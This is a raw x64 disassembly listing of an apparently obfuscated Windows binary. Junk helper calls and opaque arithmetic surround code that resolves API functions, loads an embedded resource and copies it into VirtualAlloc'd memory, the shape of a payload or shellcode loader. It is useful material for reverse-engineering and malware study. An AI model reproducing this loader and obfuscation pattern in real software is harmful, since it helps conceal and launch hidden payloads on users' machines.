or rdi, 1
sub rsp, 0x20
mov rcx, rdi
mov rdx, r13
call fcn.140006b10
mov ecx, 0x9b
mov edx, 0x46
mov r8, r13
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0x3c01
mov r8d, 0x3b
mov rdx, r13
call fcn.140006b10
mov ecx, 0x6c
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
mov r8d, 0x8d
mov rdx, r13
mov r9, r13
call fcn.140006b10
mov ecx, 0xa7d7
mov rdx, r13
call fcn.140006b10
movabs r15, 0x534dcfee1ef74414
mov edx, 0xff
mov r8d, 0x7e
mov rcx, r15
call fcn.140006b10
add rsp, 0x20
mov edi, dword [rbp + 0x158]
neg edi
sub rsp, 0x20
mov ecx, 0x5d
mov edx, 0x9f
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, edi
sub rsp, 0x20
mov ecx, 0xff
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0xf265
mov edx, 0xe6
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
imul ebx, edi
sub rsp, 0x20
mov ecx, 2
mov r8d, 0x8b
mov rdx, r13
mov r9, r13
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xbe
mov r8, r13
mov r9, r13
call fcn.140006b10
mov ecx, 0x438b
mov r8d, 0x93
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
or r15, 1
sub rsp, 0x20
mov rcx, r15
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov r8d, 0xaf
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov esi, r12d
neg esi
mov edi, ebx
sub edi, r12d
mov eax, ebx
xor eax, esi
sub edi, eax
and ebx, esi
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl ebx, cl
xor ebx, edi
sub rsp, 0x20
movabs rcx, 0x1cca5597e97e2445
call fcn.140006b10
add rsp, 0x20
mov r15, rax
add r15d, ebx
mov ebx, dword [rbp + 0xc0]
neg ebx
mov edi, ebx
sub edi, r12d
mov eax, esi
xor eax, ebx
sub edi, eax
and ebx, esi
sub rsp, 0x20
mov ecx, 1
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl ebx, cl
xor ebx, edi
sub rsp, 0x20
movabs rcx, 0xe495ab809ea54e8d
call fcn.140006b10
add rsp, 0x20
add eax, ebx
imul eax, r15d
lea rax, [rax*4 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0x100], rsp
sub rsp, 0x20
mov ecx, 0x96
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0xdc61
mov rdx, r13
call fcn.140006b10
mov ecx, 0xe2
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xbf
call fcn.140006b10
mov ecx, 0x669b
mov edx, 0x2b
mov r8, r13
call fcn.140006b10
movabs rcx, 0xd67cba20f45d9911
mov r8d, 0xcc
mov rdx, r13
call fcn.140006b10
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xfa
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0x8c
mov rdx, r13
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0xa4
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
call fcn.140006b10
mov ecx, 2
mov rdx, r13
mov r8, r13
mov r9, r13
call fcn.140006b10
movabs rcx, 0x4bd5259b75fc77f1
call fcn.140006b10
add rsp, 0x20
mov rax, qword [rbp + 0x78]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x1d
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xfffffffd
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xa1
mov r8, r13
mov r9, r13
call fcn.140006b10
mov ecx, 2
call fcn.140006b10
movabs rcx, 0x3fc5eec25bdbb2b3
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
xor edi, eax
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x9d
call fcn.140006b10
mov ecx, 0xfffffffd
mov r8d, 0xfa
mov r9d, 0xbf
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 2
mov rdx, r13
call fcn.140006b10
movabs rcx, 0xc03a113da4244d4e
mov edx, 0x3e
mov r8d, 0xbc
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
add eax, esi
add eax, edi
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0x158], rsp
sub rsp, 0x20
mov ecx, 0xe3
mov edx, 0xae
mov r8, r13
mov r9, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0x148]
sub rsp, 0x20
mov ecx, 0xff
mov edx, 0x6e
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x540d
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
imul edi, ebx
sub rsp, 0x20
mov ecx, 0x8c
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r14d
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0xc9
mov rdx, r13
mov r9, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x827b
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
xor r15d, r15d
cmp edi, eax
sete r15b
sub rsp, 0x20
movabs rcx, 0x41426b500c39a700
mov r8d, 0xaf
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0x7b71
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xbc
mov r8d, 0xd7
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xc6ac18
call fcn.140006b10
mov ecx, 0x92b
mov rdx, r13
call fcn.140006b10
movabs rcx, 0xbebd94aff3c65901
mov rdx, r13
mov r8, r13
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
mov ecx, 1
mov rdx, r13
mov r8, r13
call fcn.140006b10
movabs rcx, 0x260fb490555fa9d9
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0x6a
xor ecx, ecx
mov r8, r13
mov r9, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, esi
sub rsp, 0x20
mov ecx, 1
mov rdx, r13
mov r8, r13
mov r9, r13
call fcn.140006b10
movabs rcx, 0xd9f04b6faaa05628
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
xor eax, esi
add eax, edi
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov r12, rsp
sub rsp, 0x20
mov ecx, 1
mov rdx, r13
mov r8, r13
call fcn.140006b10
movabs rcx, 0x58cfda50fed3d058
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
xor edi, esi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xe2087a
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xf2
mov r8d, 0xdf
call fcn.140006b10
mov ecx, 0xfffffffd
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0x600667
mov rdx, r13
mov r9, r13
call fcn.140006b10
mov ecx, 2
mov edx, 0xbb
mov r8d, 0x34
mov r9, r13
call fcn.140006b10
movabs rcx, 0xa73025af012c2fa9
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
add eax, esi
add eax, edi
lea rax, [rax*4 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0xc0], rsp
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xfffffffd
mov r8d, 0x94
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 2
mov edx, 0x19
mov r8d, 0x220ac9
call fcn.140006b10
movabs rcx, 0x273b4959a8fd94be
mov rdx, r13
mov r8, r13
call fcn.140006b10
xor ecx, ecx
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0x70
mov edx, 0x4d
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0x1525
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xb4
call fcn.140006b10
mov ecx, 0xff
mov rdx, r13
call fcn.140006b10
mov ecx, 0x623b
mov edx, 0x25
mov r8, r13
call fcn.140006b10
movabs rcx, 0xd8c4b6a657026b82
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xa5
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x1e
mov r8, r13
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x77
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x4f
call fcn.140006b10
mov ecx, 2
mov rdx, r13
call fcn.140006b10
movabs rcx, 0x13de4d57a644e087
mov r8d, 0x94
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov edx, 0x8b
xor ecx, ecx
mov r8, r13
call fcn.140006b10
add rsp, 0x20
xor rbx, rax
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0xaf
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x21
mov r9d, 0x62
mov r8, r13
call fcn.140006b10
mov ecx, 0xfffffffd
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 0x91
mov rdx, r13
call fcn.140006b10
mov ecx, 2
mov rdx, r13
call fcn.140006b10
movabs rcx, 0xec21b2a859bb1f86
mov edx, 4
mov r8, r13
mov r9, r13
call fcn.140006b10
add rsp, 0x20
mov r14, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
xor r14, rax
add r14, rbx
sub rsp, 0x20
mov ecx, 1
mov rdx, r13
call fcn.140006b10
movabs rdi, 0x6f79b9103a179abf
mov edx, 0xa9
mov rcx, rdi
call fcn.140006b10
mov edx, 0xa2
mov r8d, 0xe9
xor ecx, ecx
mov r9, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xfffffffd
mov r8d, 0xf5
mov rdx, r13
mov r9, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
call fcn.140006b10
mov ecx, 2
mov edx, 1
call fcn.140006b10
add rsp, 0x20
add rdi, 0x97157d5
sub rsp, 0x20
mov rcx, rdi
mov rdx, r13
call fcn.140006b10
mov edx, 0x2b
mov r8d, 0xb4
xor ecx, ecx
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov r8d, 5
mov rdx, r13
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x4d
mov r8d, 0x56
mov r9d, 0xbe
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x65
call fcn.140006b10
mov ecx, 2
mov rdx, r13
mov r8, r13
call fcn.140006b10
movabs rcx, 0x6ab7a15817ab0e8e
mov edx, 0x44
mov r8d, 0x24
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
add edi, esi
mov rax, qword [rbp + 0x110]
sub rsp, 0x20
mov ecx, 0x68
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
mov edx, 0x6b
call fcn.140006b10
mov ecx, 0x64a3
call fcn.140006b10
mov ecx, 0x17
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
movabs rcx, 0x95485ea7e854f256
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0xb1
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor ebx, esi
add ebx, edi
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xaa
mov r8, r13
mov r9, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xfffffffd
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xe4bd28
mov r9d, 0xdd
mov r8, r13
call fcn.140006b10
mov ecx, 2
mov rdx, r13
mov r8, r13
call fcn.140006b10
movabs rsi, 0x409b11837492f921
mov edx, 0x7f
mov r8d, 0x59664f
mov rcx, rsi
mov r9, r13
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
mov ecx, 1
mov edx, 0xaa
call fcn.140006b10
add rsp, 0x20
or rsi, 0x8c
sub rsp, 0x20
mov edx, 0xe3
mov rcx, rsi
call fcn.140006b10
mov edx, 0xc4
xor ecx, ecx
call fcn.140006b10
mov edx, 0x81
mov rcx, r14
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov ecx, 0x799f682b
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
movzx ecx, bl
sub rsp, 0x20
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov ecx, 0x8c
mov rdx, r13
call fcn.140006b10
sub rsp, 0x10
mov byte [rsp + 0x28], al
mov byte [rsp + 0x20], bl
lea rcx, [0x140014003]
lea rbx, [rbp - 0x80]
mov rdx, rbx
mov r8, rdi
mov r9, rsi
call fcn.140006b20
add rsp, 0x30
mov qword [rbp + 0xc8], rax
sub rsp, 0x20
mov rsi, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, [rbp + 0x20]
call rsi
mov rcx, rax
mov rdx, rbx
call fcn.1400076e0
add rsp, 0x20
mov qword [0x140015190], rax
sub rsp, 0x20
lea rcx, [rbp - 0x10]
call rsi
mov rcx, rax
lea rdx, [rbp - 0x40]
call fcn.1400076e0
add rsp, 0x20
mov qword [0x140015198], rax
sub rsp, 0x20
mov edx, 0x6f
mov r8d, 0xa
mov rdi, qword [rbp + 0xb0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
add rsp, 0x20
mov dword [rbp + 0x164], eax
mov eax, dword [rbp + 0x164]
mov rbx, qword [rbp + 0xc0]
mov dword [rbx], eax
sub rsp, 0x20
mov rcx, rdi
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
add rsp, 0x20
mov qword [r12], rax
mov qword [rbp + 0xb0], r12
mov rcx, qword [r12]
mov r12, rbx
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LockResource]
add rsp, 0x20
mov r14, rax
mov eax, dword [rbx]
mov dword [rbp + 0x180], eax
mov eax, dword [rbp + 0x180]
mov qword [rbp + 0x108], rax
sub rsp, 0x20
mov ecx, 0x8b
mov edx, 0xae
mov r8, r13
call fcn.140006b10
mov ecx, 0xff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0x1b25
mov r8d, 0xe1
mov rdx, r13
call fcn.140006b10
mov ecx, 0xf8
mov r8d, 0xa6
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0x754d
call fcn.140006b10
movabs rcx, 0x4d988c9cca9868bf
mov edx, 0x27
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0xe9
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
xor edi, eax
mov rax, qword [rbp + 0x110]
sub rsp, 0x20
mov ecx, 0x98
mov edx, 0x2c
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0xb5ab
mov r9d, 0xe5
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0x57
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xa2b3
mov r8d, 0x79
mov rdx, r13
call fcn.140006b10
movabs rcx, 0xb26773633567a741
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
xor ebx, eax
add ebx, edi
mov rax, qword [rbp + 0xc8]
sub rsp, 0x20
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0x1051
mov r8d, 0x5b
mov rdx, r13
call fcn.140006b10
mov ecx, 0x4e
mov edx, 0xf9
call fcn.140006b10
mov ecx, 0xff
mov r8d, 0xea
mov rdx, r13
mov r9, r13
call fcn.140006b10
movabs rcx, 0x7d6b1487030a5bd9
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
add edi, eax
mov rcx, qword [rbp + 0x148]
mov esi, ecx
sub esi, r15d
neg r15d
mov eax, ecx
xor eax, r15d
sub esi, eax
and r15d, ecx
sub rsp, 0x20
mov ecx, 1
mov edx, 0x64
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl r15d, cl
xor r15d, esi
sub rsp, 0x20
movabs rcx, 0x9e7bc77273c9d1a4
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
add r15d, eax
imul r15d, edi
mov rcx, qword [rbp + 0x108]
sub rsp, 0x20
mov edx, 0x6f
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 9
mov rcx, rbx
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, r15
mov rdx, r13
mov r8, r13
call fcn.140006b10
xor ecx, ecx
mov rdx, rsi
mov r8d, edi
mov r9d, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rsp, 0x20
mov qword [rbp + 0x130], rax
mov rcx, qword [rbp + 0x130]
mov r8, qword [rbp + 0x108]
sub rsp, 0x20
mov rdx, r14
call fcn.140006ae0
add rsp, 0x20
cmp qword [rbp + 0x130], 0
setne byte [rbp + 0x186]
mov r14d, dword [r12]
mov r15, qword [rbp + 0xc8]
sub rsp, 0x20
mov ecx, 0x62
mov edx, 0x37
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0x138]
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x3307
mov r9d, 0xc7
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
imul edi, ebx
sub rsp, 0x20
mov ecx, 0xa2
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r15d
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0xf2
mov r9d, 0x1c
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x927d
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
xor ecx, ecx
cmp edi, eax
sete cl
neg ecx
cmp r14d, ecx
setne byte [rbp + 0x177]
sub rsp, 0x20
mov ecx, 1
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x186]
and al, byte [rbp + 0x177]
and al, 1
mov byte [rbp + 0x185], al
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xfffffffd
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xe9
call fcn.140006b10
mov ecx, 2
mov edx, 0xe9
call fcn.140006b10
movabs rcx, 0x6952f0dcebed954b
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xfffffffd
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov r9d, 0x87
mov rdx, r13
mov r8, r13
call fcn.140006b10
movabs rcx, 0xf10a2d3899474c63
mov r8d, 0xf9
mov rdx, r13
call fcn.140006b10
mov ecx, 0x48
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, dword [rbp + 0xe0]
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r13
mov r8, r13
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
and edi, esi
imul edi, edi
sub rsp, 0x20
mov ecx, 0x61b5
mov edx, 0xa9
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
imul esi, edi
sub rsp, 0x20
mov ecx, 0xdf
mov edx, 0x9b
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
or edi, dword [rbp + 0xb8]
sub rsp, 0x20
mov ecx, 0xff
mov rdx, r13
call fcn.140006b10
add rsp, 0x20
and eax, edi
imul eax, eax
imul eax, eax, 0x3029
xor ebx, ebx
cmp esi, eax
sete bl
movabs rsi, 0x257b8122107c9212
lea rcx, [rsi + 1]
sub rsp, 0x20
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub edi, ebx
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
mov rcx, rsi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0xf
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
add esi, eax
xor esi, edi
lea rax, [rsi*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov rbx, rsp
sub rsp, 0x20
mov ecx, pe_nt_image_headers64
mov r8d, 0x32
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
mov edx, 0x8d
mov r8, r13
call fcn.140006b10
mov ecx, 0x644f
mov rdx, r13
call fcn.140006b10
mov ecx, 8
mov edx, 0x75
mov r8, r13
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xa
mov r8, r13
call fcn.140006b10
mov ecx, 0x1d3f
mov r8d, 4
mov r9d, 0x5e6f9e
mov rdx, r13
call fcn.140006b10
movabs rcx, 0x416beef9efe84599
call fcn.140006b10
xor ecx, ecx
mov rdx, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, r13
mov r8, r13
mov r9, r13
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xac
call fcn.140006b10
mov ecx, 2
call fcn.140006b10
movabs rcx, 0xbe9411061017ba68
mov edx, 0x83
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
mov ecx, 1
call fcn.140006b10
add rsp, 0x20
movabs rsi, 0x66fa8a48a689b394
lea rcx, [rsi + 1]
sub rsp, 0x20
mov edx, 0xed
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x186]
sub rsp, 0x20
mov ecx, 1
call fcn.140006b10
mov rcx, rsi
mov rdx, r13
call fcn.140006b10
mov edx, 0x7e
xor ecx, ecx
call fcn.140006b10
mov ecx, 1
mov r8d, 0x5f
mov rdx, r13
mov r9, r13
call fcn.140006b10
movabs rcx, 0xd22cd3461b2e4323
mov rdx, r13
call fcn.140006b10
mov ecx, 0x98
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xbd
mov r8d, 0xff
mov r9, r13
call fcn.140006b10
mov ecx, 0x5111
call fcn.140006b10
mov ecx, 0x16
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
mov edx, 0xf9
call fcn.140006b10
mov ecx, 0xa535
mov edx, 0xbf
mov r8, r13
call fcn.140006b10
movabs rcx, 0x9f54b6e473a7048b
mov edx, 0x92
mov r8, r13
mov r9, r13
call fcn.140006b10
mov ecx, 0xe3
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
mov r8d, 0x16
mov r9d, 0x57
mov rdx, r13
call fcn.140006b10
mov ecx, 0xa0bd
call fcn.140006b10
mov ecx, 0xd8
mov rdx, r13
call fcn.140006b10
mov ecx, 0xff
mov rdx, r13
mov r8, r13
call fcn.140006b10
mov ecx, 0x33b
call fcn.140006b10
add rsp, 0x20
movabs rdi, 0x21036be179bc3a2
lea rcx, [rdi + 1]
sub rsp, 0x20
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x5d
mov r8d, 0xa3
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x31
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x63
call fcn.140006b10
mov ecx, 2
mov edx, 0x9b
mov r9d, 0x70ef5c
mov r8, r13
call fcn.140006b10
mov edx, 0x5b
mov rcx, rdi
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x185]
cmp al, 1
jne 0x14000cc37
mov eax, dword [r12]
mov dword [rbp + 0x178], eax
movzx eax, byte [rbp + 0x185]
mov edx, dword [rbp + 0x178]
sub rsp, 0x20
mov ecx, 0x24
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0x82d5
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x178]
sub rsp, 0x20
mov ecx, 0x98
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x178]
mov edx, dword [rbp + 0x178]
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0x76
call fcn.140006b10
mov ecx, 0x986f
mov edx, 0xd
mov r8d, 0xcd
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x178]
sub rsp, 0x20
movabs rcx, 0x1f1384bddf70ac13
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0x95f9cc
mov r8d, 0x33
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
add esi, eax
movzx eax, byte [rbp + 0x186]
mov edx, dword [rbp + 0x178]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x180]
mov eax, dword [rbp + 0x180]
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0xf
mov r8d, 0x9a
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x178]
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0xce
mov r9d, 0x33
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x180]
mov edx, dword [rbp + 0x178]
sub rsp, 0x20
mov ecx, 2
call fcn.140006b10
add rsp, 0x20
mov eax, dword [rbp + 0x180]
mov edx, dword [rbp + 0x178]
sub rsp, 0x20
movabs rcx, 0x90ab11c9d239f687
call fcn.140006b10
add rsp, 0x20
imul eax, esi
mov ecx, dword [rbp + 0x178]
cmp ecx, eax
seta byte [rbp + 0x176]
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0xf8], rax
movzx eax, byte [rbp + 0x176]
cmp al, 1
jne 0x14000ccf5
mov rax, qword [rbp + 0x130]
mov eax, dword [rax]
mov dword [rbp + 0x16c], eax
mov rax, qword [rbp + 0x108]
mov eax, dword [rbp + 0x164]
mov eax, dword [rbp + 0x164]
mov eax, dword [rbp + 0x164]
mov edx, dword [rbp + 0x16c]
sub rsp, 0x20
mov ecx, 1
mov r8d, 0x9a
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x16c]
sub rsp, 0x20
movabs rcx, 0x190daf7a72bd8e31
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x16c]
sub rsp, 0x20
xor ecx, ecx
mov r8d, edx
call fcn.140006b10
add rsp, 0x20
mov rax, qword [rbp + 0xd0]
mov rax, qword [rbp + 0x108]
mov r8d, dword [rbp + 0x16c]
sub rsp, 0x20
mov ecx, 1
mov edx, 0x6d
call fcn.140006b10
add rsp, 0x20
mov edx, dword [rbp + 0x16c]
sub rsp, 0x20
movabs rcx, 0xe6f25085bbbae141
mov r8d, 0xa3
call fcn.140006b10
add rsp, 0x20
mov r8d, dword [rbp + 0x16c]
sub rsp, 0x20
mov edx, 0xb449f2
xor ecx, ecx
call fcn.140006b10
mov ecx, 0x2e786f72
mov edx, 0x1ca683
call fcn.140006b10
add rsp, 0x20
